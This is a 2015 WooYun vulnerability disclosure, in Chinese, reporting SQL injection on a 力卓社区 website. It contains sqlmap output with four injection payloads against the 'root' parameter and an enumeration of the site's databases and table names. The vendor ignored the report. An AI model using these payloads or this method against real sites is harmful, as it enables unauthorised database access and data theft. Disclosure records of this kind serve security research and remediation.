漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0154281
漏洞标题：力卓社区某站sql注入
相关厂商：力卓社区
漏洞作者： 路人甲
提交时间：2015-11-21 15:03
修复时间：2015-11-26 15:04
公开时间：2015-11-26 15:04
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：8
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-21： 细节已通知厂商并且等待厂商处理中
2015-11-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
详细说明：
root
GET parameter 'root' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
---
Parameter: root (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=128&root=125 AND 5909=5909
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=128&root=125 AND (SELECT 2453 FROM(SELECT COUNT(*),CONCAT(0x7176767171,(SELECT (ELT(2453=2453,1))),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=128&root=125 AND (SELECT * FROM (SELECT(SLEEP(5)))wYHU)
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=128&root=125 UNION ALL SELECT NULL,NULL,CONCAT(0x7176767171,0x5651556f4f4b784d4e6453656f4c4d6d4671644c447a42616c4e7471756f676a6d446c7452416a4c,0x716a6a7171),NULL,NULL,NULL,NULL-- -
---
[19:52:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.4.44, Nginx
back-end DBMS: MySQL 5.0
漏洞证明：
available databases [2]:
[*] information_schema
[*] www
Database: www
[14 tables]
+---------------------------------------+
| app |
| app_category |
| app_download_history |
| article |
| brand |
| device |
| driver |
| navigation |
| ota_package |
| ota_rom |
| rom_download_url |
| rom_info |
| rom_screenshot |
| ui_type |
+---------------------------------------+
修复方案：
过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2015-11-26 15:04
厂商回复：
漏洞Rank：2 (WooYun评价)
最新状态：
暂无